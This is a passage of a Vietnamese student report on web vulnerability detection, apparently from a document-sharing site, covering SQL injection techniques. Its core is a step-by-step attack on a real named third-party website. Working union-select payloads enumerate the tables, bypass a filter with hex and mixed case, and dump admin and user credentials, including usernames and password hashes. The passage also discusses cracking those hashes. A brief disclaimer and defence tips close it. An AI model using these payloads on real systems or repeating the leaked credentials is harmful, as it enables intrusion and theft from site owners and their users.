Biến server có thể là một khái niệm tương đối lạ lẫm nhưng nó không hề mới.Một số ví dụ của biến server là Http header, Network header… Không phổ biếnlắm nhưng các giá trị được lưu trong biến server có thể được ứng dụng web sử

dụng như trong việc logging truy cập hay thống kê truy cập theo user agent…

Những công việc này đều có sự tương tác với cơ sở dữ liệu nên các hacker hoàntoàn có thể sử dụng các biến server trong việc khai thác Sql Injection

b Kỹ thuật khai thác

Boolean Based và Time Based Blind SQL Injection

Boolean based: Cơ sở của kỹ thuật này là việc so sánh đúng sai để tìm ra từng

ký tự của những thông tin như tên bảng, tên cột… Do đó, với dải giá trị chữ số,chữ cái (bao gồm cả hoa, thường) và một số ký tự đặc biệt, việc so khớp trở nênrất khó khăn và đòi hỏi nhiều thời gian Do đó việc khai thác lỗi chủ yếu đượctiến hành bằng tools Trong kỹ thuật Blind SQL injection (BQLi), chúng tacũng có nhiều phương pháp khác nhau Điểm khác biệt giữa các phương phápnày là sự tối ưu thời gian Khái niệm Time based: Giống như boolean basedattacks chỉ khác nhau về cách suy diễn

VD: id = 1 and ascii(mid((query), position, 1)) > ?

Union Query Based

Đây là phương pháp phổ biến khi khai thác Sql Injection Cơ sở của nó là sửdụng từ khóa union để gộp các kết quả của các mệnh đề select, qua đó lấy đượcthông tin từ cơ sở dữ liệu, cụ thể nó dùng để ghép nối các kết quả của hai haynhiều câu lệnh SELECT lại với nhau thành một tập kết quả duy nhất

VD: http://www.abslatin.co.uk/node.php?id=null union select 1,2,3,4 Batched Query

Đây là phương pháp áp dụng khả năng thực thi cùng lúc nhiều câu lệnh Sql củamột số hệ quản trị cơ sở dữ liệu và khả năng hỗ trợ của ngôn ngữ lập trình.Phương pháp này rất mạnh mẽ và gây nguy hiểm ngay với hệ thống Bằng cáchthêm vào một dòng lệnh Update, Insert hay Delete, dữ liệu trong cơ sở dữ liệucủa ứng dụng web không còn toàn vẹn nữa

VD: http://www.abslatin.co.uk/node.php?id=1 delete tablename, insert column

Order by Clause

Không giống như các phương pháp trên, nội dung inject nằm trong mệnh đềđiều kiện where Trong phương pháp này, chúng ta sẽ cố gắng tiêm mã scriptvào mệnh đề order

VD: http://www.abslatin.co.uk/node.php?id=1 order by

2 Người lập trình muốn liệt kê sản phẩm của công ty bao gồm các thông tin: Mãsản phẩm, Tên sản phẩm, Ngày tháng… và có chức năng cho phép người dùngtùy chỉnh xem họ muốn sắp xếp theo thứ tự ngày tháng, theo tên hay mã của sảnphẩm

VD: select id, name, price from product where id order by $varOrder

Trong trường hợp này chúng ta không thể thêm trực tiếp một mệnh đề subselect thông qua từ khóa union như mọi khi được Một cách khai thác đó là sửdụng BATCHED QUERY, phương pháp này có thể Inject được một sub selectnhưng rõ ràng cách thực hiện này giờ đây phải kết hợp cả với kỹ thuậtBOOLEAN BASED BLIND SQLI

Trang 22

Hình 16 Các cách phát hiện tấn công SQl Injection

Từ Version 5 trở đi MySQL có thêm 1 database hệ thống là

information_schema, các table hệ thống của nó là tables, columns 2 table này chứa tên các table và column của Website trên hệ thống

- Inband SQL là lỗi cho phép hiện số column và tên từng column của các bảng,

từ đó khi biết được bảng rồi thì ta có thể lấy được các cột và thông tin trong cột

không thấy lỗi gì, tiếp theo thêm dấu ‘ sau số 1 là

http://www.abslatin.co.uk/node.php?id=1’ thấy báo

You have an error in your SQL syntax; check the manual that corresponds

to your MySQL server version for the right syntax to use near '\'' at line 1

Như vậy đã thấy lỗi SQL Injection và có thề khai thác

- Tiếp theo tìm số cột của biểu đồ CSDL bằng cách chạy

http://www.abslatin.co.uk/node.php?id=1 order by

1 Ở đây ta dùng dùng order by đế xác định cột, tăng giá trị lên 1 đơn vị như

http://www.abslatin.co.uk/node.php?id=1 order by

2 đến khi nào thấy thông bào lỗi thì dừng lại Thấy 2 đến 5 là báo lỗi

Unknown column '5' in 'order clause' suy ra biểu đồ CSDL có 4 cột từ 1 đến

4

Trang 23

- Chú ý ở đây chúng ta sử dụng dấu sau cùng đường link là đến loại bỏ nhữngphần sau câu truy vấn, trong phpmysql thì nó dùng để ghi những comment

- Tiếp theo ta tìm số cột trong biểu đồ CSDL bị lỗi ta chạy

http://www.abslatin.co.uk/node.php?id=null union select

1,2,3,4 Ở đây id nên để là Null như trên để kết quả câu truy vấn trả về là rỗng, đôi khimới có thể show được các column bị lỗi, ta thấy cột số 4 bị lỗi

- Tiếp theo chạy

http://www.abslatin.co.uk/node.php?id=null union select

1,2,3,version() để lấy thông tin Version Database sẽ thấy báo 5.1.73-log.

- Tiếp theo chạy

http://www.abslatin.co.uk/node.php?id=5 union select 1,2,3,

group_concat(table_name) from information_schema.tables where

table_schema=database() để lấy danh sách bảng trong database thì thấy hiện ra các bảng sau

administrators, album, events, gallery, links, news, p_album, p_categories, p_events, p_gallery, p_links, p_news,p_products, p_salsa, p_suscriptors, p_users, p_videos, salsa, suscriptors, users, videos

- Tiếp theo chạy

http://www.abslatin.co.uk/node.php?id=5 uNion seleCt

1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e6973747261746f7273

đề lấy các cột trong bảng administrators, ở đây phải thực hiện phương phápbypass filter addslashes() nếu bạn chạy

http://www.abslatin.co.uk/node.php?id=5 uNion seleCt

1,2,3,group_concat(column_name) from information_schema.columns where table_name=administrators

là không được và sẽ báo lỗi

Unknown column 'administrators' in 'where clause'

Với phương pháp này ta sẽ convert tên administrators sang mã HEX sau đó

thêm 0x vào trước kết quả để được 0x61646d696e6973747261746f7273, kết quả là ta đã thấy được có các cột id, user_name, user_password

Bạn cũng có thể xem thêm các cột của các bảng khác xem thêm cột của bảngusers như sau

http://www.abslatin.co.uk/node.php?id=5%20uNion%20seleCt

%201,2,3,group_concat%28column_name%29%20from

%20information_schema.columns%20where%20table_name=0x7573657273 thì thấy có các cột IdUser,PasswordUser,NameUser

- Tiếp theo chạy

http://www.abslatin.co.uk/node.php?id=5 uNion seleCt

Trang 24

Để xem thêm username và password của user trong bảng users ta chạy

http://www.abslatin.co.uk/node.php?id=5 uNion seleCt

1,2,3,group_concat(IdUser,0x2f,PasswordUser,0x2f,NameUser) from

users thì thấy các thông tin sau

admin/0e4a20a448032584af3f285a2ad2d9d3/AMAUTA CONSULTORES annie/c34d257b21c744ba5ed8d6863ee34b8e/Annie

- Tiếp theo tìm trang dăng nhập của Admin bằng cách, thử thủ công như thêm /admin, /admincp, /login, v.v.v thử online hoặc dùng tool, với trang này ta chưatìm được trang login Admin Có thể nó đã bị cấm hay ẩn

- Ở đây ta thấy mật khẩu của user và admin trong bảng administrators đã được

mã hóa theo kiểu md5 Wordpress Hash nên phải giải mã, bước này ta nên thử

các trang decrypt md5 online hay thử crack bằng Kali Linux, nhưng kết qủacũng chưa được, nên thử lại hoặc tìm cách khác

- Một chú ý nữa là trong quá trình thực hiện các bạn có thấy trong câu truy vấn

có viết in hoa 1 số từ như uNion seLect, biện pháp này nhằm để bypass qua sự

kiểm tra

- Khi 2 bước trên hoàn thành, bạn có thể, login vào trang Admin hay Login vào

Cơ sở dữ liệu, và thao tác trên đó

- Nhằm mục đích học tập, lấy kinh nghiệm và các phòng chống, khuyên các bạnkhông nên có các hành vi và mục đích xấu

5.1.4 Cách phòng chống và bảo mật

a Sử dụng ràng buộc hay giới hạn tham số truy vấn, kiểu tham số, thủ tục khi

lưu trữ tham số (nên kết hợp với ràng buộc hay giới hạn tham số truy vấn)

- Hãy loại bỏ các kí tự meta như ‘ “ /\ ; và các kí tự extend như NULL, CR,LF, v v trong các string nhận được từ: input do người dùng đệ trình, các tham

số từ URL, các giá trị từ Cookies

VD: "select * from table where columna=? and columnb=?"

- Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi querySQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer

Cụ thể:

- Sử dụng những câu lệnh, tham số truy vấn đã qua chuẩn bị

- Thủ tục lưu trữ tham số

- Thoát khỏi tất cả các user cung cấp đầu vào

b Set quyền cho các kết nối (Luôn luôn sử dụng tài khoản với đặc quyền tối

thiểu cần thiếtcho các ứng dụng trong, không nên sử dụng các từ "sa", "dba",

"admin", hoặc tương đương.)

- Thay đổi "Startup and run SQL Server" dùng mức low privilege user trongtab SQL Server Security

- Xóa các stored procedure trong database master mà không dùng như:xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Hình 17 Cách phòng chồng tấn công SQL Injection

Ngày đăng: 14/12/2021, 19:29

HÌNH ẢNH LIÊN QUAN

Hình 1: Trung tâm Đào tạo Quản trị mạng &amp; An ninh mạng Quốc tế ATHENA - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 1 Trung tâm Đào tạo Quản trị mạng &amp; An ninh mạng Quốc tế ATHENA (Trang 4)
Hình 4: Một Web Application - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 4 Một Web Application (Trang 7)
Hình 5: Thành phần của một Web Application - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 5 Thành phần của một Web Application (Trang 7)
Hình 6: Cách thức hoạt động của một Web Application - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 6 Cách thức hoạt động của một Web Application (Trang 8)
Hình 7: Cách thức hoạt động của một Web Application - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 7 Cách thức hoạt động của một Web Application (Trang 8)
Hình 8. WordPress - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 8. WordPress (Trang 10)
Hình 10. vBulletin - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 10. vBulletin (Trang 11)
Hình 9. Joomla - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 9. Joomla (Trang 11)
Hình 8: Giao diện chương trình của Paros Proxy - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 8 Giao diện chương trình của Paros Proxy (Trang 13)
Hình 9: Kết quả Scan Website bị lỗi của Paros Proxy - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 9 Kết quả Scan Website bị lỗi của Paros Proxy (Trang 14)
Hình 11: Kết quả Scan của Acunetix Web Vulnerability Scanner - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 11 Kết quả Scan của Acunetix Web Vulnerability Scanner (Trang 16)
Hình 12. Giao diện làm việc Maxisploit Scanner - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 12. Giao diện làm việc Maxisploit Scanner (Trang 17)
Hình 13. Kết quả Scan của Maxisploit Scanner - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 13. Kết quả Scan của Maxisploit Scanner (Trang 18)
Hình 14. Phương pháp luận của tấn công SQL Injection - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 14. Phương pháp luận của tấn công SQL Injection (Trang 19)
Hình 15. Các dạng tấn công SQL Injection - Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Hình 15. Các dạng tấn công SQL Injection (Trang 20)

TỪ KHÓA LIÊN QUAN

TRÍCH ĐOẠN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

🧩 Sản phẩm bạn có thể quan tâm

w